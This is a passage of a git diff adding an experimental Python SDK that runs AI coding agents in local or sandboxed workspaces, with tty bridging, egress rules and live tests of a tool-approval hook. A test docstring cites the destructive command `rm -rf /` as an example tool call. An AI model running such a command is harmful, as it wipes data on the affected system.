its + # scrollback on attach); hand them to the codec rather than drop them. + leftover = seen.partition(marker.encode())[2].lstrip(b"\r\n") + if pid is None: + # A pty just started: its holder wrote the pid once it forked. + try: + pid_text = (await self.read_text(f"{sock}.pid")).strip() + except FileNotFoundError: + pid_text = "" + pid = int(pid_text) if pid_text.isdigit() else None + + async def send_bytes(data: bytes) -> None: + try: + await conduit.send(data) + except Exception as exc: + # The platform closed the interactive session under us. Say + # so in the SDK's vocabulary rather than leaking anyio's. + raise errors_.WorkspaceError( + "the sandbox terminal connection dropped; attach again " + + f"(a named pty keeps running): {type(exc).__name__}" + ) from exc + + async def recv_bytes() -> bytes: + nonlocal leftover + if leftover: + data, leftover = leftover, b"" + return data + try: + return await conduit.receive() + except Exception: + return b"" # end of stream: the codec settles receive()/wait() + + async def close_channel() -> None: + await scope.__aexit__(None, None, None) + + pty = _pty.FramedPty( + name=name, + send_bytes=send_bytes, + recv_bytes=recv_bytes, + close_channel=close_channel, + pid=pid, + ) + if self._ptys is None: + self._ptys = [] + self._ptys.append(pty) + return pty + + async def write_text(self, path: str, data: str) -> None: + fs = self._live().fs + parent = "/".join(path.split("/")[:-1]) + if parent: + await fs.mkdir(parent, cwd=self._workdir, recursive=True) + await fs.write_text(path, data, cwd=self._workdir) + + async def read_bytes(self, path: str) -> bytes: + from vercel.sandbox import SandboxPathNotFoundError # noqa: PLC0415 + + try: + return await self._live().fs.read_bytes(path, cwd=self._workdir) + except SandboxPathNotFoundError as exc: + raise FileNotFoundError(path) from exc + + async def _copy_in( + self, + source: Path, + dest: str, + ignore: Sequence[str], + *, + gitignore: bool, + ) -> int: + """Copy a local tree in, batched. + + One request per batch rather than one per file: measured over 200 + files, batching took 0.2s where per-file writes took 75.5s. Traffic + goes over the same authenticated API as everything else — nothing + is exposed to reach the VM. + """ + root, patterns = source, tuple(ignore) + fs = self._live().fs + pending: list[tuple[str, bytes]] = [] + staged = 0 + count = 0 + + async def flush() -> None: + nonlocal pending, staged + if not pending: + return + async with fs.batch() as batch: + for path, payload in pending: + batch.write_bytes(path, payload) + pending, staged = [], 0 + + for local, relative in _base.walk_uploadable( + root, patterns, gitignore=gitignore + ): + payload = local.read_bytes() + pending.append((f"{self._workdir}/{dest}/{relative}", payload)) + staged += len(payload) + count += 1 + # Bound each request so one large tree does not become one + # enormous upload that fails whole. + if staged >= BATCH_BYTES or len(pending) >= BATCH_FILES: + await flush() + await flush() + return count + + async def _copy_out( + self, + source: str, + dest: Path, + ignore: Sequence[str], + *, + gitignore: bool, + ) -> int: + """Copy a tree out as ONE archive. + + There is no batched read — `fs.batch()` only writes — so reading a + tree file by file would cost a round trip each. Tarring it on the + far side and reading one file costs one, whatever the file count. + + The `ignore` globs go to tar so `node_modules` never crosses the + wire — the slash-free ones only, which tar reads exactly as we do + (a whole path component) once told not to let `*` match a slash. + The tree is filtered again as it lands, and `.gitignore` is read + there, on the extracted files: tar saves bandwidth, it never decides. + """ + archive = f"/tmp/harness-out-{secrets.token_hex(6)}.tgz" + excludes = [ + f"--exclude={pattern}" for pattern in ignore if "/" not in pattern + ] + command = [ + "tar", + "czf", + archive, + "-C", + source, + "--no-wildcards-match-slash", + ] + made = await self.exec( + ["sh", "-c", shlex.join([*command, *excludes, "."])] + ) + if made.exit_code != 0: + raise errors_.WorkspaceError( + f"could not archive {source!r} in the sandbox: " + f"{made.stderr.strip()[:200]}" + ) + payload = await self.read_bytes(archive) + await self.exec(["rm", "-f", archive]) + + def _extract() -> int: + with tempfile.TemporaryDirectory(prefix="harness-out-") as staging: + with tarfile.open( + fileobj=io.BytesIO(payload), mode="r:gz" + ) as tar: + tar.extractall(staging, filter="data") + return _base.copy_tree( + Path(staging), dest, tuple(ignore), gitignore=gitignore + ) + + return await asyncio.to_thread(_extract) + + async def exists(self, path: str) -> bool: + return await self._live().fs.exists(path, cwd=self._workdir) + + async def reachable_url(self, port: int) -> str: + sandbox = self._live() + if port not in self._ports: + # Exposing a port is an API call; do it on demand rather than + # making every caller declare ports up front. + await sandbox.update(ports=sorted({*self._ports, port})) + self._ports.append(port) + for route in getattr(sandbox, "routes", None) or []: + if getattr(route, "port", None) == port: + return str(route.url) + raise errors_.WorkspaceError( + f"sandbox exposed port {port} but published no route for it" + ) + + +async def _text(stream: Any) -> str: + if stream is None: + return "" + if isinstance(stream, str): + return stream + if callable(stream): + result = stream() + if inspect.isawaitable(result): + result = await result + return str(result) + return str(stream) + + +def egress_policy(gateway: _gateway.Gateway, hosts: Sequence[str]) -> Any: + """Build the sandbox firewall's view of a gateway. + + Deny everything, allow the gateway host with `Authorization` rewritten to + the real credential on the way out, allow `hosts` untouched. The credential + exists in this policy and on the host that built it — nowhere the VM can + read. + """ + from vercel.sandbox import ( # noqa: PLC0415 + NetworkPolicy, + NetworkPolicyRule, + NetworkPolicyTransform, + ) + + inject = NetworkPolicyRule( + transform=( + NetworkPolicyTransform( + headers={"authorization": f"Bearer {gateway.credential}"} + ), + ) + ) + allow: dict[str, tuple[Any, ...]] = {gateway.host: (inject,)} + for host in hosts: + allow.setdefault(host, ()) + return NetworkPolicy(mode="custom", allow=allow) + + +def _read_env_file( + env_file: str | Path | None, project_root: str | Path | None +) -> dict[str, str]: + """Parse `.env.local`, searching upward from the project root. + + `vercel env pull` writes the file at the root of the linked project, + which is not necessarily where you are running from. A missing file is + not an error — plenty of people pass credentials another way. + """ + if env_file is not None: + path = Path(env_file).expanduser() + return _parse_env(path) if path.is_file() else {} + start = Path(project_root or Path.cwd()).expanduser().resolve() + for directory in (start, *start.parents): + candidate = directory / DEFAULT_ENV_FILE + if candidate.is_file(): + return _parse_env(candidate) + if (directory / ".git").exists(): + break # do not wander out of the repository + return {} + + +def _parse_env(path: Path) -> dict[str, str]: + values: dict[str, str] = {} + for line in path.read_text().splitlines(): + stripped = line.strip() + if not stripped or stripped.startswith("#") or "=" not in stripped: + continue + key, _, value = stripped.partition("=") + value = value.strip() + if len(value) >= 2 and value[0] == value[-1] and value[0] in "\"'": + value = value[1:-1] + values[key.strip()] = value + return values + + +def oidc_token_expiry(token: str | None) -> float | None: + """Return the `exp` claim of a Vercel OIDC JWT, or None. + + As a Unix timestamp. + + Decoded, not verified: this is for telling a caller WHY the platform + said 403, not for trusting the token. + """ + if not token or token.count(".") != 2: + return None + payload = token.split(".")[1] + payload += "=" * (-len(payload) % 4) + try: + claims = json.loads(base64.urlsafe_b64decode(payload)) + except Exception: + return None + exp = claims.get("exp") + return float(exp) if isinstance(exp, int | float) else None + + +def _looks_like_auth_failure(exc: BaseException) -> bool: + """Return whether `exc` is a credentials failure. + + A platform denial, or the SDK's own pre-flight credentials error + (`SandboxCredentialsError`: a token it cannot derive a team/project from). + Both mean the same thing to a caller: fix your credentials. + """ + text = str(exc).lower() + return ( + type(exc).__name__ == "SandboxCredentialsError" + or "403" in text + or "401" in text + or "not authorized" in text + or "forbidden" in text + or "could not determine" in text + ) + + +def _auth_hint() -> str: + exp = oidc_token_expiry(os.environ.get("VERCEL_OIDC_TOKEN")) + if exp is not None and exp < time.time(): + when = time.strftime("%Y-%m-%d %H:%M:%SZ", time.gmtime(exp)) + return ( + f"VERCEL_OIDC_TOKEN expired at {when}. It is short-lived; refresh " + "it " + "with `vercel env pull` (or set VERCEL_TOKEN + VERCEL_TEAM_ID + " + "VERCEL_PROJECT_ID for a long-lived credential)." + ) + return ( + "Sandbox creation needs VERCEL_OIDC_TOKEN (from `vercel env pull`) or " + "VERCEL_TOKEN + VERCEL_TEAM_ID + VERCEL_PROJECT_ID, with access to the " + "team." + ) diff --git a/src/ai/workspaces/experimental/errors.py b/src/ai/workspaces/experimental/errors.py new file mode 100644 index 00000000..86d8826f --- /dev/null +++ b/src/ai/workspaces/experimental/errors.py @@ -0,0 +1,41 @@ +"""Workspace errors. + +Experimental: not part of the stable API, may change or be removed. +""" + +from __future__ import annotations + +from ... import errors as ai_errors + + +class WorkspaceError(ai_errors.AIError): + """The workspace could not do what was asked of it.""" + + +class WorkspaceGoneError(WorkspaceError): + """The workspace no longer exists. + + The provider says it was stopped or was never there, as opposed to one + that could not be reached right now. + + The difference decides what a caller may forget. A network failure is a + WorkspaceError: the sandbox may be running, and whoever recorded it must + keep that record or lose the only way back to it. + """ + + +class NotAuthenticatedError(WorkspaceError): + """The harness has no usable credentials WHERE IT IS RUNNING. + + Its own report is an upstream HTTP status, which tells you nothing you + can act on. The distinction that matters is location: your terminal + login lives on your machine, and a sandbox is a different machine that + has never seen it. + """ + + def __init__(self, harness: str, detail: str, hint: str = "") -> None: + message = f"{harness} is not authenticated in this workspace: {detail}" + super().__init__(f"{message}\n{hint}" if hint else message) + self.harness = harness + self.detail = detail + self.hint = hint diff --git a/src/ai/workspaces/experimental/tty.py b/src/ai/workspaces/experimental/tty.py new file mode 100644 index 00000000..c354a8a5 --- /dev/null +++ b/src/ai/workspaces/experimental/tty.py @@ -0,0 +1,260 @@ +"""Attach this process's terminal to a workspace pty. + +Two ends of one wire: your real terminal here (the tty), and the +pseudo-terminal a program is running on in the workspace (the `Pty`). +`bridge` connects them the way ssh does — raw mode so every keystroke goes +through untouched, window-size changes forwarded, the tty restored exactly +on the way out — and returns when the program ends or you press the detach +key. Detaching leaves a NAMED pty running for a later `Workspace.attach`. + +On the way out it also switches off the terminal modes the program switched +on (hidden cursor, bracketed paste, focus reports, the enhanced keyboard +protocol): a program you detach from is still running and never will. + +It also returns, with the tty restored and a one-line reason, when anything +on OUR side fails: the terminal read failing, the pty refusing input, or the +pty's output ending because another client attached. Nothing here may fail +silently: a raw-mode terminal has no Ctrl-C, so a bridge that has stopped +working and not returned leaves a person with no way out. + +Measured, once, on a real terminal: an earlier bridge read keystrokes through +a pipe transport on a dup of stdin, which set that descriptor non-blocking. +In a shell, stdin, stdout and stderr are ONE open file description, so stdout +went non-blocking too; a long transcript redraw then truncated at the tty's +buffer (the screen showed two lines and went dark), the next write failed, +and the shell was left with a non-blocking terminal. Hence: the loop's own +reader on stdin, no dup, no flag changes that outlive the bridge, and writes +that complete. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import os +import re +import shutil +import signal +import sys +import termios +import tty as _tty +from typing import TYPE_CHECKING, Any + +if TYPE_CHECKING: + from collections.abc import Coroutine + + from . import _pty + +DETACH_KEY = b"\x1d" +"""Ctrl-]: the key telnet uses, unlikely to collide with a TUI's bindings.""" + + +_DEC_MODE = re.compile(rb"\x1b\[\?([0-9;]+)([hl])") +_KITTY = re.compile(rb"\x1b\[([<>=])([0-9;]*)u") +_MODIFY_OTHER_KEYS = re.compile(rb"\x1b\[>4;?([0-9]*)m") +_CSI_TAIL = re.compile(rb"\x1b(\[[0-9;?<>=]*)?$") +_ON_BY_DEFAULT = {"7", "25"} # autowrap, visible cursor + + +class _TerminalModes: + """The terminal modes a program has switched on, read from its output. + + So the bridge can switch exactly those off when it lets go. + + A program that exits restores its own modes. One you detach from is still + running and never will — measured: claude leaves the cursor hidden, focus + reporting, bracketed paste and colour-scheme reports on, and asks for the + enhanced keyboard protocol, which turns every key into escape codes. + Only what the program set is undone, so the shell's own modes are left + as they were. + """ + + def __init__(self) -> None: + self._dec: dict[str, bool] = {} + self._kitty_pushed = 0 + self._kitty_set = False + self._modify_other_keys = False + self._carry = b"" + + def feed(self, data: bytes) -> None: + data = self._carry + data + # A sequence split across two reads is completed by the next one. + tail = _CSI_TAIL.search(data[-24:]) + cut = len(data) - len(tail.group(0)) if tail else len(data) + data, self._carry = data[:cut], data[cut:] + for m in _DEC_MODE.finditer(data): + for mode in m.group(1).decode().split(";"): + self._dec[mode] = m.group(2) == b"h" + for m in _KITTY.finditer(data): + kind, arg = m.group(1), m.group(2).split(b";")[0] + if kind == b">": + self._kitty_pushed += 1 + elif kind == b"<": + self._kitty_pushed = max( + 0, self._kitty_pushed - (int(arg) if arg else 1) + ) + else: + self._kitty_set = True + for m in _MODIFY_OTHER_KEYS.finditer(data): + self._modify_other_keys = m.group(1) not in (b"", b"0") + + def restore(self) -> bytes: + """Return the bytes that put back what the program changed.""" + out = b"" + for mode, on in self._dec.items(): + default = mode in _ON_BY_DEFAULT + if on != default: + out += f"\x1b[?{mode}{'h' if default else 'l'}".encode() + if self._kitty_pushed: + out += f"\x1b[<{self._kitty_pushed}u".encode() + elif self._kitty_set: + out += b"\x1b[=0;1u" + if self._modify_other_keys: + out += b"\x1b[>4m" + return out + + +def _write_all(fd: int, data: bytes) -> None: + """Write every byte, in order. + + A tty write may be short (a signal such as SIGWINCH mid-write) and a redraw + that lands half is a corrupt screen. + """ + view = memoryview(data) + while view: + view = view[os.write(fd, view) :] + + +async def bridge( + pty: _pty.Pty, *, detach_key: bytes | None = DETACH_KEY +) -> int | None: + """Drive `pty` from this process's terminal. + + Until the program ends or the detach key is pressed. Returns the exit + status, or None on detach. + """ + fd_in, fd_out = sys.stdin.fileno(), sys.stdout.fileno() + if not os.isatty(fd_in): + raise RuntimeError("tty.bridge needs a terminal on stdin") + saved = termios.tcgetattr(fd_in) + loop = asyncio.get_running_loop() + detached = asyncio.Event() + # The loop keeps only weak references to tasks; these must not be + # collected mid-send. + background: set[asyncio.Task[None]] = set() + + def spawn(coro: Coroutine[Any, Any, None]) -> None: + task = loop.create_task(coro) + background.add(task) + task.add_done_callback(background.discard) + + async def size() -> None: + cols, rows = shutil.get_terminal_size() + # A program that has already ended cannot be resized; its output and + # status still come through screen() and wait(), so this is no failure. + with contextlib.suppress(Exception): + await pty.resize(cols, rows) + + def on_winch(*_: object) -> None: + spawn(size()) + + ended: asyncio.Future[str] = loop.create_future() + modes = _TerminalModes() + + def end(reason: str) -> None: + if not ended.done(): + ended.set_result(reason) + + def on_keys() -> None: + # The loop's own reader on the tty fd: no dup, so the blocking mode of + # the shell's stdin is never touched, and no pipe transport that can + # fail out of sight. Every failure ENDS the bridge — a raw-mode + # terminal whose reader has died has no Ctrl-C and no way out. + try: + data = os.read(fd_in, 4096) + except (OSError, ValueError) as exc: + end(f"terminal read failed: {exc}") + return + if not data: + end("terminal closed") + return + if detach_key and detach_key in data: + before = data.split(detach_key, 1)[0] + if before: + spawn(pty.send(before)) + detached.set() + return + spawn(_send(data)) + + async def _send(data: bytes) -> None: + try: + await pty.send(data) + except Exception as exc: + end(f"the pty stopped taking input: {exc}") + + async def screen() -> str: + while True: + data = await pty.receive() + if not data: + # An exit frame settles wait() before the output ends; if it + # did not come, the connection ended with the program alive. + if await pty.wait() is None: + return ( + "the connection ended: another client attached, or " + "the link dropped" + ) + return "" + modes.feed(data) + _write_all(fd_out, data) + + # TCSADRAIN, not setraw's default TCSAFLUSH: flushing discards anything + # typed before the bridge was ready, and a human's keystrokes are not + # ours to drop. + _tty.setraw(fd_in, termios.TCSADRAIN) + # A blocking terminal for the bridge's whole life: a non-blocking tty + # truncates bursts and fails when its buffer is full, and something + # before us may have left it that way. Restored with the rest. + blocking = (os.get_blocking(fd_in), os.get_blocking(fd_out)) + os.set_blocking(fd_in, True) + os.set_blocking(fd_out, True) + previous = signal.signal(signal.SIGWINCH, on_winch) + loop.add_reader(fd_in, on_keys) + reason = "" + try: + await size() + screen_task = asyncio.create_task(screen()) + detach_task = asyncio.create_task(detached.wait()) + waiters: set[asyncio.Future[Any]] = {screen_task, detach_task, ended} + done, _ = await asyncio.wait( + waiters, + return_when=asyncio.FIRST_COMPLETED, + ) + if screen_task in done: + reason = screen_task.result() + elif ended in done: + reason = ended.result() + for task in (screen_task, detach_task): + task.cancel() + with contextlib.suppress(BaseException): + await task + if detached.is_set(): + await pty.detach() + return None + if ended.done(): + # Our side failed, not the program: let go without ending it. + with contextlib.suppress(Exception): + await pty.detach() + return None + return await pty.wait() + finally: + loop.remove_reader(fd_in) + signal.signal(signal.SIGWINCH, previous) + # Undo the modes the program switched on — a program left running + # (detached, displaced) never will, and the shell would inherit them. + _write_all(fd_out, modes.restore()) + termios.tcsetattr(fd_in, termios.TCSADRAIN, saved) + _write_all(fd_out, b"\r\n") + if reason: + _write_all(fd_out, f"[tty.bridge] {reason}\r\n".encode()) + os.set_blocking(fd_in, blocking[0]) + os.set_blocking(fd_out, blocking[1]) diff --git a/tests/harnesses/__init__.py b/tests/harnesses/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/harnesses/experimental/__init__.py b/tests/harnesses/experimental/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/harnesses/experimental/conftest.py b/tests/harnesses/experimental/conftest.py new file mode 100644 index 00000000..0c84699d --- /dev/null +++ b/tests/harnesses/experimental/conftest.py @@ -0,0 +1,256 @@ +"""Shared harness fixtures. + +Every test here drives a REAL harness installation — no fakes, no recorded +doubles. A missing CLI skips; it never silently passes. + +Two axes, and the point of the suite is that they are orthogonal: + +- WHICH harness (claude-code, codex) — behavior must be identical except + where a capability is honestly absent, and absence must be advertised. +- WHERE it runs (local directory, Vercel Sandbox) — behavior must be + identical, full stop. + +The workspace fixtures come from tests/workspaces/experimental/conftest.py; +`any_workspace` and `remote_workspace` are overridden here, because a +workspace a harness runs in needs the harness's credentials and config. +""" + +from __future__ import annotations + +import os +import shutil +from collections.abc import AsyncIterator, Callable +from contextlib import asynccontextmanager +from pathlib import Path +from typing import Any + +import pytest + +from ai.harnesses.experimental import Harness, claude_code, codex +from ai.workspaces.experimental import Local, VercelSandbox, Workspace, copy +from tests.workspaces.experimental import conftest as workspaces + +# The workspace suite's fixtures, shared. Assigned, not imported by name: +# ruff reads a fixture parameter of the same name as redefining an import. +env_local = workspaces.env_local +project = workspaces.project +workspace = workspaces.workspace +sandbox_credentials = workspaces.sandbox_credentials + +HARNESS_CLI = {"claude": "claude", "codex": "codex"} + +SPECS = {"claude": claude_code, "codex": codex} + + +def _cli_missing(kind: str) -> bool: + return shutil.which(HARNESS_CLI[kind]) is None + + +@pytest.fixture(params=["claude", "codex"]) +def harness_kind(request: pytest.FixtureRequest) -> str: + kind: str = request.param + if _cli_missing(kind): + pytest.skip(f"needs a local `{HARNESS_CLI[kind]}` installation") + return kind + + +# What a harness needs to authenticate once it is inside the microVM. It +# cannot log in interactively there, so credentials arrive as secrets. +HARNESS_SECRET_KEYS = ( + "AI_GATEWAY_API_KEY", + "ANTHROPIC_BASE_URL", + "ANTHROPIC_AUTH_TOKEN", + "ANTHROPIC_API_KEY", + "ANTHROPIC_MODEL", + "ANTHROPIC_SMALL_FAST_MODEL", + "CLAUDE_CODE_DISABLE_UNKNOWN_MODEL_WINDOW_ENFORCEMENT", +) + +CODEX_CONFIG = """model_provider = "vercel" +[model_providers.vercel] +name = "Vercel AI Gateway" +base_url = "https://ai-gateway.vercel.sh/codex/v1" +env_key = "AI_GATEWAY_API_KEY" +wire_api = "responses" +""" + + +def harness_secrets() -> dict[str, str]: + return {k: os.environ[k] for k in HARNESS_SECRET_KEYS if k in os.environ} + + +async def provision(ws: Workspace) -> None: + """Give the harnesses what they need to authenticate in the VM. + + Installing the CLI is the SDK's job (see Workspace.owner); telling it + which provider to talk to, and with whose key, is the caller's. + """ + home = (await ws.exec(["sh", "-c", "echo $HOME"])).stdout.strip() or "/root" + await ws.exec(["mkdir", "-p", f"{home}/.codex"]) + await ws.write_text(f"{home}/.codex/config.toml", CODEX_CONFIG) + + +@pytest.fixture +async def remote_workspace() -> AsyncIterator[Workspace]: + """The same contract, in a Vercel Sandbox microVM.""" + creds = sandbox_credentials() + if creds is None: + pytest.skip( + "needs VERCEL_TOKEN/TEAM_ID/PROJECT_ID or VERCEL_OIDC_TOKEN" + ) + if not harness_secrets(): + pytest.skip("needs harness credentials to inject into the sandbox") + # The harness inside the VM needs its credentials, and they are named + # here rather than arriving because a file happened to be read. + async with VercelSandbox( + **creds, env=harness_secrets(), execution_time_limit=900 + ) as ws: + await provision(ws) + yield ws + + +@pytest.fixture +async def harness( + harness_kind: str, workspace: Workspace +) -> AsyncIterator[Harness]: + """An open harness on a local workspace, parameterized over both + harnesses.""" + async with SPECS[harness_kind](workspace=workspace) as h: + yield h + + +@pytest.fixture( + params=["local", pytest.param("sandbox", marks=pytest.mark.sandbox)] +) +async def any_workspace( + request: pytest.FixtureRequest, project: Path +) -> AsyncIterator[Workspace]: + """Both workspace implementations, same contract. + + This fixture is the whole argument for having two backends: every + test using it must pass identically whether the files and processes live + on this machine or in a microVM. + """ + if request.param == "local": + async with Local(project) as ws: + yield ws + return + creds = sandbox_credentials() + if creds is None: + pytest.skip( + "needs VERCEL_TOKEN/TEAM_ID/PROJECT_ID or VERCEL_OIDC_TOKEN" + ) + async with VercelSandbox( + **creds, env=harness_secrets(), execution_time_limit=900 + ) as ws: + # Provision here too: any sandbox a harness might open needs to know + # which provider to talk to, not just the one the remote suite uses. + await provision(ws) + # And the SAME project the local branch gets. Without this, every + # test ported onto any_workspace passed locally and failed in the + # VM with "util.py does not exist" — a fixture lying about parity. + await copy(project, ws / ".") + yield ws + + +@pytest.fixture +async def any_harness( + harness_kind: str, any_workspace: Workspace +) -> AsyncIterator[Harness]: + """Both harnesses x both locations — the SDK's whole claim in one fixture. + + A test on `harness` proves a verb works on this machine. The last three + bugs that reached George all passed such tests: the failure was at the + other location, or in a shape the assertion never looked at. Anything + that is part of the CONTROL SURFACE belongs on this fixture, and pays + for the sandbox boot. + """ + async with SPECS[harness_kind](workspace=any_workspace) as h: + yield h + + +def exact(text: str, expected: str) -> None: + """Assert an answer IS the expected word, not merely contains it. + + `"add" in result.text` let 'I\'ll read util.py.add' pass for weeks. When + the prompt says "reply with the function name only", the contract is + equality — tolerant of the punctuation and backticks a model wraps a + single word in, and of nothing else. + """ + got = text.strip().strip("`'\"*_.").strip() + assert got == expected, f"expected exactly {expected!r}, got {text!r}" + + +@pytest.fixture +def make_harness(harness_kind: str, workspace: Workspace) -> Callable[..., Any]: + """Open a harness of the parameterized kind with extra options. + + Tests that configure a harness (an approval hook, a timeout) use this so + they still run against BOTH harnesses — uniformity is the contract, so + nothing may quietly become a single-harness test. + """ + + @asynccontextmanager + async def _make( + *, writable: bool = False, **options: Any + ) -> AsyncIterator[Harness]: + """`writable=True` means "this test needs the agent to change files". + + The harnesses spell authority differently — Claude gates per call, + Codex picks a sandbox mode — so the translation lives here rather + than in every test. A test that hardcoded `sandbox=` would silently + become a Codex-only test. + """ + # Codex picks a mode only on your own machine: in a sandbox its own + # sandbox cannot start, and the default already lets it write. + if ( + writable + and harness_kind == "codex" + and workspace.owner != "provider" + ): + options.setdefault("sandbox", "workspace-write") + async with SPECS[harness_kind]( + workspace=workspace, **options + ) as harness: + yield harness + + return _make + + +@pytest.fixture +def any_make_harness( + harness_kind: str, any_workspace: Workspace +) -> Callable[..., Any]: + """`make_harness`, over both locations. Same translation of `writable`.""" + + @asynccontextmanager + async def _make( + *, writable: bool = False, **options: Any + ) -> AsyncIterator[Harness]: + if ( + writable + and harness_kind == "codex" + and any_workspace.owner != "provider" + ): + options.setdefault("sandbox", "workspace-write") + async with SPECS[harness_kind]( + workspace=any_workspace, **options + ) as harness: + yield harness + + return _make + + +requires_claude = pytest.mark.skipif( + _cli_missing("claude"), reason="needs a local `claude` installation" +) + + +def requires(harness: Harness, capability: str) -> None: + """Skip when a harness honestly lacks a capability. + + Skipping is only legitimate because the SDK ADVERTISES the absence — + a test may never paper over a capability the harness claims to have. + """ + if not getattr(harness.capabilities, capability): + pytest.skip(f"{harness.name} does not support {capability}") diff --git a/tests/harnesses/experimental/e2e/__init__.py b/tests/harnesses/experimental/e2e/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/harnesses/experimental/e2e/test_approval.py b/tests/harnesses/experimental/e2e/test_approval.py new file mode 100644 index 00000000..9af5f656 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_approval.py @@ -0,0 +1,362 @@ +"""The tool-approval hook: optional, tool-call level, no invented taxonomy. + +The hook sees the harness's OWN tool call — native name, native input — +plus the conversation so far and the workspace. The SDK never classifies a +call into capabilities on the harness's behalf: `Bash("ls")` and +`Bash("rm -rf /")` are the same tool, and `mcp__x__y` means nothing to us. +""" + +from __future__ import annotations + +import asyncio +from collections.abc import Callable +from typing import Any + +import pytest + +from ai.harnesses.experimental import ( + Allow, + ApprovalContext, + Decision, + Deny, + claude_code, +) +from ai.harnesses.experimental.errors import UnsupportedError +from ai.workspaces.experimental import Workspace +from tests.harnesses.experimental.conftest import requires, requires_claude + +pytestmark = pytest.mark.live + + +# Keys that DENOTE a filesystem location in either harness's native payload. +# claude: file_path / notebook_path / path / cwd. codex: cwd, and `changes` +# keyed by path. A shell command's argv is not here on purpose: which files +# `bash -lc "…"` touches is unknowable from the payload — the README's own +# point — and codex echoes the argv under several keys (`command`, +# `commandActions`, `proposedExecpolicyAmendment`, `availableDecisions`), +# where `/bin/bash` is the interpreter, not a write target. A blacklist of +# those keys would rot; a whitelist of location keys will not. +_LOCATION_KEYS = { + "cwd", + "path", + "file_path", + "filePath", + "notebook_path", + "paths", + "grantRoot", +} + + +def _absolute_paths(payload: Any) -> list[str]: + """Every absolute path the call would TOUCH, from a native payload.""" + found: list[str] = [] + if isinstance(payload, dict): + for key, value in payload.items(): + if key == "changes" and isinstance(value, dict): + found.extend( + k for k in value if isinstance(k, str) and k.startswith("/") + ) + elif key in _LOCATION_KEYS: + values = value if isinstance(value, list) else [value] + found.extend( + v + for v in values + if isinstance(v, str) and v.startswith("/") + ) + else: + found.extend(_absolute_paths(value)) + elif isinstance(payload, list): + for value in payload: + found.extend(_absolute_paths(value)) + return found + + +async def test_hook_receives_the_native_call_and_its_context( + any_make_harness: Callable[..., Any], any_workspace: Workspace +) -> None: + seen = [] + + async def approve(ctx: ApprovalContext) -> Decision: + seen.append(ctx) + return Allow() + + async with any_make_harness(approve=approve) as any_harness: + requires(any_harness, "approve") + await any_harness.run("Write the word HELLO into greeting.txt.") + + assert seen, "a write must reach the hook" + ctx = seen[0] + assert ctx.call.name, "the native tool name, verbatim from the any_harness" + assert isinstance(ctx.call.input, dict), "native input, unnormalized" + assert ( + ctx.call.raw is not None + ), "the untouched native payload is always available" + assert ctx.workspace is any_workspace + assert any( + m.role == "user" for m in ctx.history + ), "history travels with the request" + + +async def test_the_hook_never_receives_an_invented_capability( + any_make_harness: Callable[..., Any], +) -> None: + """`kind` is a passthrough hint from the any_harness, not an SDK + judgment.""" + seen = [] + + async def approve(ctx: ApprovalContext) -> Decision: + seen.append(ctx.call) + return Allow() + + async with any_make_harness(approve=approve) as any_harness: + requires(any_harness, "approve") + await any_harness.run("Write the word HELLO into hint.txt.") + + call = seen[0] + assert not hasattr( + call, "capability" + ), "the SDK must not classify native tools" + assert call.kind is None or isinstance(call.kind, str) + + +async def test_no_hook_approves_everything( + any_make_harness: Callable[..., Any], any_workspace: Workspace +) -> None: + """Absent hook is approve-all, not deny-all and not ask-a-human. + + The any_harness's own default is to ask the person at the terminal. In a + program there is no such person, so the agent would sit on a question + nobody answers and then narrate what it would have done — a turn that + looks successful and changed nothing. The hook is how you RESTRICT an + agent; not passing one lets it work. + """ + async with any_make_harness(writable=True) as any_harness: + await any_harness.run( + "Write the word HELLO into greeting.txt, then reply DONE." + ) + + assert "HELLO" in await any_workspace.read_text("greeting.txt") + + +async def test_deny_blocks_the_call_and_the_reason_reaches_the_agent( + any_make_harness: Callable[..., Any], any_workspace: Workspace +) -> None: + async def approve(ctx: ApprovalContext) -> Decision: + # Deny everything. Keying on native tool names would make this test + # a claude test — "Write" on one any_harness is "fileChange" on the + # other, which is exactly why the SDK refuses to classify them. + return Deny( + "this any_workspace is read-only for you; do not write files" + ) + + async with any_make_harness(approve=approve, writable=True) as any_harness: + requires(any_harness, "approve") + # Codex's approval response carries only a decision — the protocol + # has no field for a reason — so the text cannot reach the agent + # there. Blocking is universal; explaining is not. + reason_travels = any_harness.capabilities.deny_reason + result = await any_harness.run( + "Write the word HELLO into greeting.txt. " + + "If you are not permitted, say exactly why you were refused." + ) + + assert not await any_workspace.exists( + "greeting.txt" + ), "the denial must actually block" + if reason_travels: + assert "read-only" in result.text.lower(), "the agent was told why" + + +async def test_deny_with_stop_ends_the_turn( + any_make_harness: Callable[..., Any], +) -> None: + async def approve(ctx: ApprovalContext) -> Decision: + return Deny("not allowed", stop=True) + + import time + + async with any_make_harness(approve=approve, writable=True) as any_harness: + requires(any_harness, "approve") + started = time.monotonic() + result = await any_harness.run( + "Write A into one.txt, then write B into two.txt, then reply DONE." + ) + took = time.monotonic() - started + # It STOPPED: nothing after the denied call happened. + assert not await any_harness.workspace.exists("one.txt") + assert not await any_harness.workspace.exists("two.txt") + + assert result.finish_reason == "cancelled" + # And promptly. This passed at 121.77s: the interrupt was awaited before + # the approval was answered, which codex will not process, so the + # decline waited out a 120s RPC timeout. Right outcome, two minutes late. + assert took < 60, f"Deny(stop=True) took {took:.0f}s to end the turn" + + +async def test_hook_can_use_the_workspace_to_decide( + any_make_harness: Callable[..., Any], any_workspace: Workspace +) -> None: + """Containment is the any_workspace's judgment, never the caller's pathlib — + the same code has to be correct when the any_workspace is remote.""" + decisions: list[tuple[str, bool]] = [] + consulted: list[str] = [] + + async def approve(ctx: ApprovalContext) -> Decision: + consulted.append(ctx.call.name) + # Portable: scan the raw payload for absolute paths and ask the + # WORKSPACE about each one, rather than knowing any any_harness's + # argument names. + for path in _absolute_paths(ctx.call.raw): + inside = ctx.workspace.contains(path) + decisions.append((path, inside)) + if not inside: + return Deny("outside the any_workspace") + return Allow() + + async with any_make_harness(approve=approve, writable=True) as any_harness: + requires(any_harness, "approve") + await any_harness.run("Write OK into notes.txt inside this project.") + + assert consulted, "the hook must be asked before a write happens" + escaped = [path for path, inside in decisions if not inside] + assert ( + not escaped + ), f"paths judged outside the workspace: {escaped} (calls: {consulted})" + assert await any_workspace.exists("notes.txt") + + +async def test_remember_either_works_or_refuses( + any_make_harness: 